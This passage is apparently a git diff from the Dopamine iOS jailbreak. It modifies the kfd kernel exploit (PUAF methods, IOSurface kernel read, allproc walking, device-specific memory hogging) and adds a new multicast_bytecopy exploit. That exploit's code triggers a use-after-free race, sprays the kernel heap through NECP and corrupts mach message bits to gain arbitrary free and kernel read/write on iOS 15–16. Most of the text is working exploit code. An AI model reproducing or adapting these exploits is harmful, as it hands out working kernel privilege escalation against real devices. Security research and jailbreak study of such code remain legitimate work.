u64 IOSurface__readDisplacement; + // kernelcache static addresses (IOSurface) + u64 kernelcache__allproc; // kernelcache static addresses (perf) u64 kernelcache__cdevsw; // "spec_open type" or "Can't mark ptc as kqueue ok" u64 kernelcache__gPhysBase; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx" diff --git a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw.h b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw.h index cd9349b3d4..e459f7d163 100644 --- a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw.h +++ b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw.h @@ -157,9 +157,22 @@ bool krkw_helper_grab_free_pages(struct kfd* kfd) { //timer_start(); + uint64_t device_ram = 0; + size_t device_ram_size = sizeof(device_ram); + int res = sysctlbyname("hw.memsize", &device_ram, &device_ram_size, NULL, 0); + const u64 copy_pages = (kfd->info.copy.size / pages(1)); const u64 grabbed_puaf_pages_goal = (kfd->puaf.number_of_puaf_pages / 4); - const u64 grabbed_free_pages_max = 80000; + // For 8GB+, 200000 is the minimum needed for a reliable exploit. For 16GB, 400000 is the minimum. + // hw.memsize reports the amount of RAM after carveouts, so we pick a value lower than the + // actual amount of RAM to compare against. + u64 grabbed_free_pages_max = 80000; + if (device_ram >= 1024 * 1024 * 1024 * 12ULL) { // 16GB devices + grabbed_free_pages_max = 800000; + } else if (device_ram >= 1024 * 1024 * 1024 * 5ULL) { // 6GB/8GB devices + grabbed_free_pages_max = 200000; + } + print("RAM size: 0x%llx, free pages max: 0x%llx\n", device_ram, grabbed_free_pages_max); for (u64 grabbed_free_pages = copy_pages; grabbed_free_pages < grabbed_free_pages_max; grabbed_free_pages += copy_pages) { assert_mach(vm_copy(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size, kfd->info.copy.dst_uaddr)); @@ -177,7 +190,7 @@ bool krkw_helper_grab_free_pages(struct kfd* kfd) } } - print_warning("failed to grab free pages goal"); + print_warning("failed to grab free pages goal (goal %llu, max %llu, RAM size 0x%llx)", grabbed_puaf_pages_goal, grabbed_free_pages_max, device_ram); return false; } diff --git a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw/kread/kread_IOSurface.h b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw/kread/kread_IOSurface.h index 4ed07b2106..599bac59e4 100644 --- a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw/kread/kread_IOSurface.h +++ b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw/kread/kread_IOSurface.h @@ -116,100 +116,6 @@ static inline int64_t adrp_off(uint32_t adrp) return sxt64((((((uint64_t)adrp >> 5) & 0x7ffffULL) << 2) | (((uint64_t)adrp >> 29) & 0x3ULL)) << 12, 33); } -u64 patchfind_kernproc(struct kfd* kfd, u64 kernel_base) -{ - //u64 kernel_slide = kernel_base - ARM64_LINK_ADDR; - // ^ only for debugging - - u64 textexec_text_addr = 0, textexec_text_size = 0; - get_kernel_section(kfd, kernel_base, "__TEXT_EXEC", "__text", &textexec_text_addr, &textexec_text_size); - assert(textexec_text_addr != 0 && textexec_text_size != 0); - - u64 textexec_text_addr_end = textexec_text_addr + textexec_text_size; - - // For some reason "mov w8, #0x1006" always follows a kernproc reference, we take advantage of that here - - u32 movSearch = 0x528200C8; // "mov w8, #0x1006" - u64 movKaddr = 0; - - // this patchfinder is slow af, we start 0x180000 in to speed it up because the reference we're looking for is usually in this area -#define FAST_START 0x180000 - - u64 instrForward = textexec_text_addr + FAST_START; - u64 instrBackward = instrForward; - - while (true) { - if (instrForward < textexec_text_addr_end) { - u32 instr = 0; - kread((u64)kfd, instrForward, &instr, sizeof(instr)); - if (instr == movSearch) { - movKaddr = instrForward; - break; - } - instrForward += 4; - } - if (instrBackward > textexec_text_addr) { - u32 instr = 0; - kread((u64)kfd, instrBackward, &instr, sizeof(instr)); - if (instr == movSearch) { - movKaddr = instrBackward; - break; - } - instrBackward -= 4; - } - } - - // okay this is fucked - // there are two adrp, ldr's following but the problem is that they're apart (sometimes) and only one of them is kernproc - // one ldr is going into some obscure "D<>" register, we need to filter that out, then get the x register of the other one - // then seek back for the adrp that loaded a value into this register, then we need to decode the adrp and the ldr - - u64 ldrKaddr = 0; - u32 ldrInstr = 0; - for (u32 i = 0; i < 20; i++) { - u64 addr = movKaddr+(4*i); - u32 instr = 0; - kread((u64)kfd, addr, &instr, sizeof(instr)); - if ((instr & 0xFFC00000) == 0xF9400000) { // check if ldr (we automatically filter the shit one out here) - ldrKaddr = addr; - ldrInstr = instr; - break; - } - } - - //printf("ldrKaddr: 0x%llx\n", ldrKaddr - kernel_slide); - //printf("ldrInstr: 0x%x\n", ldrInstr); - - u32 ldrReg = (ldrInstr & 0x3E0) >> 5; - //printf("ldrReg: %d\n", ldrReg); - - u32 adrpFind = 0x90000000 | ldrReg; - u32 adrpFindMask = 0x9F00001F; - - u64 adrpKaddr = 0; - u32 adrpInstr = 0; - for (u32 i = 0; i < 30; i++) { - u64 addr = ldrKaddr-(4*i); - u32 instr = 0; - kread((u64)kfd, addr, &instr, sizeof(instr)); - if ((instr & adrpFindMask) == adrpFind) { - adrpKaddr = addr; - adrpInstr = instr; - break; - } - } - - // We got everything we need! Now just decode and get kernproc - - i64 adrp_imm = adrp_off(adrpInstr); - u32 ldr_imm = ((ldrInstr & 0x003FFC00) >> 9) * 4; - - //printf("adrp_imm: %lld\n", adrp_imm); - //printf("ldr_imm: 0x%X\n", ldr_imm); - //printf("adrpKaddr page: 0x%llX\n", (adrpKaddr - kernel_slide) & ~0xfff); - - return ((adrpKaddr & ~0xfff) + adrp_imm) + ldr_imm; -} void kread_IOSurface_find_proc(struct kfd* kfd) { @@ -244,22 +150,21 @@ void kread_IOSurface_find_proc(struct kfd* kfd) } u64 kernel_slide = kernel_base - ARM64_LINK_ADDR; - u64 kernproc = patchfind_kernproc(kfd, kernel_base); kfd->info.kaddr.kernel_slide = kernel_slide; + u64 allproc = kernel_slide + dynamic_info(kernelcache__allproc); u64 proc_kaddr = 0; - kread((u64)kfd, kernproc, &proc_kaddr, sizeof(proc_kaddr)); + kread((u64)kfd, allproc, &proc_kaddr, sizeof(proc_kaddr)); proc_kaddr = UNSIGN_PTR(proc_kaddr); - kfd->info.kaddr.kernel_proc = proc_kaddr; - while (proc_kaddr != 0) { u32 pid = (u32)dynamic_kget(proc__p_pid, proc_kaddr); if (pid == kfd->info.env.pid) { kfd->info.kaddr.current_proc = proc_kaddr; - break; } - - proc_kaddr = dynamic_kget(proc__p_list__le_prev, proc_kaddr); + else if (pid == 0) { + kfd->info.kaddr.kernel_proc = proc_kaddr; + } + proc_kaddr = dynamic_kget(proc__p_list__le_next, proc_kaddr); } } diff --git a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/landa.h b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/landa.h index 14b260adfb..77f0b58cbf 100644 --- a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/landa.h +++ b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/landa.h @@ -5,8 +5,8 @@ #ifndef landa_h #define landa_h -const u64 landa_vme1_size = pages(1); -const u64 landa_vme2_size = pages(1); +u64 landa_vme1_size = pages(1); +u64 landa_vme2_size = pages(1); const u64 landa_vme4_size = pages(1); // Forward declarations for helper functions. @@ -37,6 +37,18 @@ void landa_init(struct kfd* kfd) { kfd->puaf.puaf_method_data_size = sizeof(struct landa_data); kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size); + + // use default values for non-A8 + landa_vme1_size = pages(1); + landa_vme2_size = pages(1); + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { + // use pages(16) for A8. Not sure why this works. + landa_vme1_size = pages(16); + landa_vme2_size = pages(16); + } } void landa_run(struct kfd* kfd) diff --git a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/smith.h b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/smith.h index cce5fa414d..29d54d6a51 100644 --- a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/smith.h +++ b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/smith.h @@ -209,7 +209,7 @@ void smith_free(struct kfd* kfd) */ void smith_helper_init(struct kfd* kfd) { - const u64 target_hole_size = pages(0); + const u64 target_hole_size = pages(10000); bool found_target_hole = false; struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data); diff --git a/Application/Dopamine/Exploits/kfd/Info.plist b/Application/Dopamine/Exploits/kfd/Info.plist index 8e0c6d073e..53f1cd170a 100644 --- a/Application/Dopamine/Exploits/kfd/Info.plist +++ b/Application/Dopamine/Exploits/kfd/Info.plist @@ -7,41 +7,81 @@ landa DPFlavorPriority - 1000 - DPHighestSupported - 16.6.1 - DPLowestSupported - 15.0 + 900 DPSupportExclude DPSupportInclude + DPSupportedRanges + + + End + 15.8.6 + Start + 15.0 + + + End + 16.6.1 + Start + 16.0 + + physpuppet DPFlavorPriority - 800 - DPHighestSupported - 16.3.1 - DPLowestSupported - 15.0 + 1000 DPSupportExclude DPSupportInclude + DPSupportedRanges + + + End + 15.7.3 + Start + 15.0 + + + End + 16.3.1 + Start + 16.0 + + smith DPFlavorPriority 600 - DPHighestSupported - 16.5 - DPLowestSupported - 15.0 DPSupportExclude DPSupportInclude - + + + Builds + + 20G5026e + + + + DPSupportedRanges + + + End + 15.7.6 + Start + 15.0 + + + End + 16.5 + Start + 16.0 + + DPExploitType diff --git a/Application/Dopamine/Exploits/kfd/kfd.m b/Application/Dopamine/Exploits/kfd/kfd.m index 1f8d790237..5cf1e61075 100644 --- a/Application/Dopamine/Exploits/kfd/kfd.m +++ b/Application/Dopamine/Exploits/kfd/kfd.m @@ -3,6 +3,7 @@ #import #import #import +#import uint64_t gKfd = 0; @@ -147,6 +148,17 @@ int exploit_init(const char *flavor) uint64_t vm_map__pmap = koffsetof(vm_map, pmap); + uint64_t pmap_to_hint = 0; // offset between vm_map->pmap and vm_map->hint + if (@available(iOS 16.0, *)) { + pmap_to_hint = 0x58; + } + else if(@available(iOS 15.4, *)) { + pmap_to_hint = 0x38; + } + else { + pmap_to_hint = 0xB8; + } + dynamic_system_info = (struct dynamic_info){ .kread_kqueue_workloop_ctl_supported = true, .krkw_iosurface_supported = (kread_method == kread_IOSurface), @@ -154,26 +166,27 @@ int exploit_init(const char *flavor) .kernelcache__static_base = kconstant(staticBase), + .proc__p_list__le_next = koffsetof(proc, list_next), .proc__p_list__le_prev = koffsetof(proc, list_prev), .proc__p_pid = koffsetof(proc, pid), .proc__p_fd__fd_ofiles = koffsetof(proc, fd) + koffsetof(filedesc, ofiles_start), .proc__object_size = ksizeof(proc), - .task__map = 0x28, + .task__map = koffsetof(task, map), - .vm_map__hdr_links_prev = 0x10, - .vm_map__hdr_links_next = 0x18, - .vm_map__min_offset = 0x20, - .vm_map__max_offset = 0x28, - .vm_map__hdr_nentries = 0x30, - .vm_map__hdr_nentries_u64 = 0x30, // (Only relevant for smith) - .vm_map__hdr_rb_head_store_rbh_root = 0x38, // ^ TODO: Universalize + .vm_map__hdr_links_prev = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, prev), + .vm_map__hdr_links_next = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, next), + .vm_map__min_offset = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, min), + .vm_map__max_offset = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, max), + .vm_map__hdr_nentries = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, max) + 0x8, + .vm_map__hdr_nentries_u64 = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, max) + 0x8, + .vm_map__hdr_rb_head_store_rbh_root = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, max) + 0x18, - .vm_map__pmap = vm_map__pmap, // 0x48 or 0x40 - .vm_map__hint = vm_map__pmap + 0x58, // 0xa0 or 0x98 - .vm_map__hole_hint = vm_map__pmap + 0x60, // 0xa8 or 0xa0 - .vm_map__holes_list = vm_map__pmap + 0x68, // 0xb0 or 0xa8 - .vm_map__object_size = vm_map__pmap + 0x80, // 0xc8 or 0xc0 + .vm_map__pmap = vm_map__pmap, + .vm_map__hint = vm_map__pmap + pmap_to_hint, + .vm_map__hole_hint = vm_map__pmap + pmap_to_hint + 0x8, + .vm_map__holes_list = vm_map__pmap + pmap_to_hint + 0x10, + .vm_map__object_size = vm_map__pmap + pmap_to_hint + 0x28, .IOSurface__isa = 0x0, .IOSurface__pixelFormat = 0xa4, @@ -184,6 +197,8 @@ int exploit_init(const char *flavor) .thread__thread_id = 0x400, // TODO: Universalize (Only relevant for kread_kqueue_workloop_ctl) + .kernelcache__allproc = ksymbol(allproc), + .kernelcache__cdevsw = ksymbol(cdevsw), .kernelcache__gPhysBase = ksymbol(gPhysBase), .kernelcache__gPhysSize = ksymbol(gPhysSize), @@ -200,10 +215,73 @@ int exploit_init(const char *flavor) if (isiOS15) { dynamic_system_info.proc__task = 0x10; } + if (@available(iOS 15.4, *)) { + dynamic_system_info.vm_map__hdr_rb_head_store_rbh_root -= 0x8; + } + + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + + // hw.memsize reports the amount of RAM after carveouts, so we pick a value lower than the + // actual amount of RAM to compare against. + uint64_t device_memory = 0; + size_t device_memory_size = sizeof(device_memory); + int res = sysctlbyname("hw.memsize", &device_memory, &device_memory_size, NULL, 0); + + size_t available_memory = os_proc_available_memory(); + + int puaf_pages = 512; + if (device_memory >= 1024 * 1024 * 1024 * 5ULL) { // 6GB devices + // These devices are remarkably more reliable with 3072 + puaf_pages = 3072; + } else if (cpuFamily == CPUFAMILY_ARM_TWISTER) { // A9 + puaf_pages = 128; + if (@available(iOS 16.0, *)) { + // sem_open does not like 128 + puaf_pages = 160; + } + } else if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { // A8 + puaf_pages = 256; + } - gKfd = kopen(512, method, kread_method, kwrite_method); + printf("device info: CPU family: 0x%x, RAM: 0x%010llx, available: 0x%010zx\n", cpuFamily, device_memory, available_memory); + + size_t hogger_memory = 0; + if (device_memory > 1024 * 1024 * 1024 * 12ULL) { // 16GB devices + // We want to hog 4GB at max, but we want to leave some memory for the exploit as well + // Reserve 512MB + (puaf_pages * page size) + size_t minimum_memory_remaining = 1024 * 1024 * 512ULL; + // Don't hog if the available memory is less than 1.5 times the minimum memory remaining + if (available_memory <= (size_t)(minimum_memory_remaining * 1.5)) { + hogger_memory = 0; + } else { + hogger_memory = available_memory - min(minimum_memory_remaining, 1024 * 1024 * 1024 * 4ULL); + } + } + + printf("PUAF pages: %d, hogger memory: 0x%010zx\n", puaf_pages, hogger_memory); + + void* hogged = NULL; + if (hogger_memory > 0) { + hogged = malloc(hogger_memory); + if (hogged != NULL) { + memset(hogged, 0x41, hogger_memory); + } else { + printf("Failed to hog memory\n"); + } + } + + size_t available_memory_after_hogging = os_proc_available_memory(); + printf("Available memory after hogging: 0x%010zx\n", available_memory_after_hogging); + + gKfd = kopen(puaf_pages, method, kread_method, kwrite_method); gPrimitives.kreadbuf = kreadbuf; gPrimitives.kwritebuf = kwritebuf; + + if (hogged != NULL) { + free(hogged); + } gSystemInfo.kernelConstant.slide = ((struct kfd *)gKfd)->info.kaddr.kernel_slide; diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/Info.plist b/Application/Dopamine/Exploits/multicast_bytecopy/Info.plist new file mode 100644 index 0000000000..5e8c2716b5 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/Info.plist @@ -0,0 +1,48 @@ + + + + + DPExploitFlavors + + default + + DPFlavorPriority + 950 + DPSupportExclude + + + Devices + + A8 + A9 + iPad13,6 + iPad13,7 + iPad13,10 + iPad13,11 + + + + DPSupportInclude + + + Builds + + 19C5026i + + + + DPSupportedRanges + + + End + 15.1.1 + Start + 15.0 + + + + + DPExploitType + Kernel + + diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOGPU.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOGPU.c new file mode 100644 index 0000000000..71a54ab943 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOGPU.c @@ -0,0 +1,83 @@ +#include "IOGPU.h" + +#include + +io_connect_t IOGPU_init(void) +{ + mach_port_t mp = MACH_PORT_NULL; + kern_return_t IOMasterPort(mach_port_t, mach_port_t *); + IOMasterPort(MACH_PORT_NULL, &mp); + io_connect_t uc; + + io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator")); + if (s == MACH_PORT_NULL) + { + return 0; + } + + if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS) + { + return 0; + } + + return uc; +} + +void IOGPU_exit(io_connect_t uc) +{ + IOServiceClose(uc); +} + +uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member) +{ + uint64_t outStructCnt = 0x10; + uint32_t inStructCnt = 0x408; + uint8_t inStruct[0x408] = {0}; + uint8_t outStruct[0x10] = {0}; + + // avoid null termination + memset(inStruct, 0x01, 0x30); + *(uint64_t *)(inStruct + 0x30) = member; + + kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt); + + if (kr) + return 0; + + return 1; +} + +int IOGPU_get_command_queue_extra_refills_needed(void) +{ + struct utsname u; + uname(&u); + + // iPhone 7 + // iPhone 11 + // iPhone 12 + // iPhone 13 + // iPad mini 6 + if ( + strstr(u.machine, "iPhone9,") + || strstr(u.machine, "iPhone12,") + || strstr(u.machine, "iPhone13,") + || strstr(u.machine, "iPhone14,") + || strstr(u.machine, "iPad14,") + ) + { + return 1; + } + // iPhone 8, X + // iPhone XS, XR + else if ( + strstr(u.machine, "iPhone10,") + || strstr(u.machine, "iPhone11,") + ) + { + return 3; + } + + printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine); + + return -1; +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOGPU.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOGPU.h new file mode 100644 index 0000000000..8ece6aa5a9 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOGPU.h @@ -0,0 +1,16 @@ +#ifndef __IOGPU_H__ +#define __IOGPU_H__ + +#include "iokit.h" + +#include +#include + +io_connect_t IOGPU_init(void); +void IOGPU_exit(io_connect_t uc); + +uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member); + +int IOGPU_get_command_queue_extra_refills_needed(void); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOSurfaceRoot.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOSurfaceRoot.c new file mode 100644 index 0000000000..5756ff4bf9 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOSurfaceRoot.c @@ -0,0 +1,124 @@ +#include "IOSurfaceRoot.h" + +io_connect_t IOSurfaceRoot_init(void) +{ + kern_return_t IOMasterPort(mach_port_t, mach_port_t *); + mach_port_t mp = MACH_PORT_NULL; + IOMasterPort(MACH_PORT_NULL, &mp); + io_connect_t uc; + + io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot")); + if (s == MACH_PORT_NULL) + { + return 0; + } + + if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS) + { + return 0; + } + + return uc; +} + +void IOSurfaceRoot_exit(io_connect_t uc) +{ + IOServiceClose(uc); +} + +uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc) +{ + // Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4 + struct _IOSurfaceFastCreateArgs { + uint64_t address; + uint32_t width; + uint32_t height; + uint32_t pixel_format; + uint32_t bytes_per_element; + uint32_t bytes_per_row; + uint32_t alloc_size; + }; + + struct IOSurfaceLockResult { + uint8_t _pad1[0x18]; + uint32_t surface_id; + uint8_t _pad2[0xF60-0x18-0x4]; + }; + + struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 }; + struct IOSurfaceLockResult lock_result = {0}; + uint64_t lock_result_size = sizeof(lock_result); + + IOConnectCallMethod( + uc, + 6, + NULL, 0, + &create_args, sizeof(create_args), + NULL, NULL, + &lock_result, (size_t *)&lock_result_size); + + return lock_result.surface_id; +} + +kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id) +{ + uint64_t sz = 0xF60; + uint8_t o[0xF60]; + uint64_t scalarInput = surf_id; + kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz); + return ret; +} + +kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id) +{ + uint64_t scalarInput = surf_id; + kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0); + return ret; +} + +void IOSurfaceRoot_release_all(io_connect_t uc) +{ + for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id) + { + IOSurfaceRoot_release_surface(uc, surf_id); + } +} + +uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id) +{ + uint64_t scalarInput = surf_id; + uint64_t output = 0; + uint64_t outputCnt = 1; + IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0); + + return (uint32_t)output; +} + +void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile) +{ + uint64_t scalarInput[3]; + + scalarInput[0] = surf_id; + scalarInput[1] = 0; + scalarInput[2] = tile; + + IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0); +} + +uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void) +{ + for (int i = 0; i < 4; ++i) + { + io_connect_t uc = IOSurfaceRoot_init(); + for (int i = 0; i < 0xf00; ++i) + { + uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc); + if (0x3400 <= (last_id * sizeof(uint64_t))) + { + return last_id; + } + } + } + + return -1; +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOSurfaceRoot.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOSurfaceRoot.h new file mode 100644 index 0000000000..529b2c92ca --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/IOSurfaceRoot.h @@ -0,0 +1,25 @@ +#ifndef __IOSURFACEROOT_H__ +#define __IOSURFACEROOT_H__ + +#include "iokit.h" + +#include +#include + +io_connect_t IOSurfaceRoot_init(void); +void IOSurfaceRoot_exit(io_connect_t uc); + +uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc); + +kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id); + +int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id); +void IOSurfaceRoot_release_all(io_connect_t uc); + +uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id); + +void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile); + +uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/exploit.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/exploit.c new file mode 100644 index 0000000000..fc5e55f20c --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/exploit.c @@ -0,0 +1,332 @@ +#include "exploit.h" + +#include "iokit.h" +#include "IOGPU.h" +#include "IOSurfaceRoot.h" +#include "kernel_rw.h" +#include "kernel_base.h" +#include "mcast.h" +#include "necp.h" +#include "port_utils.h" +#include "spray.h" + +#include +#include +#include +#include +#include +#include + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" + +#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device +#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device +#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted) +#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX) +#define BYTECOPY_OFFSET_IPV6 0x28 +#define PORTS_COUNT 0x2A00 +#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX) +#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664 + +mach_port_t notif_port = MACH_PORT_NULL; +mach_port_t *kheap_default_ports = NULL; +uint8_t *IOSurfaceClient_array_buf = NULL; +mach_port_t *kheap_data_ports = NULL; +int kheap_data_idx = -1; +int extra_frees_for_device = -1; +io_connect_t iogpu_connect = MACH_PORT_NULL; + +mach_port_t get_arb_free_holder(void) +{ + int success = 0; + + // reliability voodoo + for (int i = 0; i < 3; ++i) + { + mcast_increase_race_reliability(); + printf("Increase reliability...\n"); + } + + // more reliability voodoo + pthread_attr_t pattr; + pthread_attr_init(&pattr); + pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0); + + // initialize refill buffer, putting the target for the bytecopy primitive there + uint8_t *necp_buf = malloc(4096); + *(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET; + + printf("Start (will fail if device has not been rebooted since last run)\n"); + kheap_data_idx = -1; + for (int iterations = 0; iterations < 255; ++iterations) + { + pthread_t pt1; + pthread_t pt2; + int s = socket(AF_INET6, SOCK_DGRAM, 0); + int necp_fd = necp_open(0); + + mcast_race_sock = s; + + // grow the buffer on which the UaF will be triggered to default.kalloc.1664 and + // put it at its max size before next realloc will occur + int ip = 0; + for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip) + { + mcast_join_group(ip); + } + + // trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful + pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip); + pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1)); + + // refill the UaF buffer in default.kalloc.1664 during the race + for (int i = 0; i < 10; ++i) + { + spray_default_kalloc_necp(necp_fd, necp_buf, 0x318); + } + + // synchronize + pthread_join(pt1, NULL); + pthread_join(pt2, NULL); + + // find out if the refill succeeded, in which case a corrupted trailer size will be returned + // for the holder of the corrupted kmsg, which has also had its message bits corrupted + // (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set) + { + for (int i = 0; i < PORTS_COUNT; ++i) + { + int sz = port_peek_trailer_size(kheap_data_ports[i]); + if (sz != 8) + { + printf("kheap_data_idx: %08X\n", i); + kheap_data_idx = i; + break; + } + } + if (kheap_data_idx != -1) + { + success = 1; + break; + } + } + + close(s); + printf("iteration %d\n", iterations); + } + + if (!success) + { + printf("Failed! Run exploit only once per boot\n"); + printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n"); + exit(1); + } + + free(necp_buf); + + return kheap_data_ports[kheap_data_idx]; +} + +int exploitation_init(void) +{ + // different by device, retrieve it first and fail if unsuccessful + extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed(); + if (extra_frees_for_device == -1) + { + printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n"); + return 1; + } + + kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); + kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); + mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); + mach_port_t *ool_ports = malloc(0x4000); + uint8_t *kheap_data_spray_buf = malloc(0x4000); + memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); + memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); + memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); + memset(ool_ports, 0, 0x4000); + memset(kheap_data_spray_buf, 0, 0x4000); + + // initialize the inline data + + // fake descriptor for free primitive + *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1; + *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target + *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc + // align a pointer here so that when the kmsg trailer size is corrupted, this pointer + // will after that be followed and a second bytecopy performed where it points (kmsg message bits) + *(uint64_t *)(kheap_data_spray_buf + 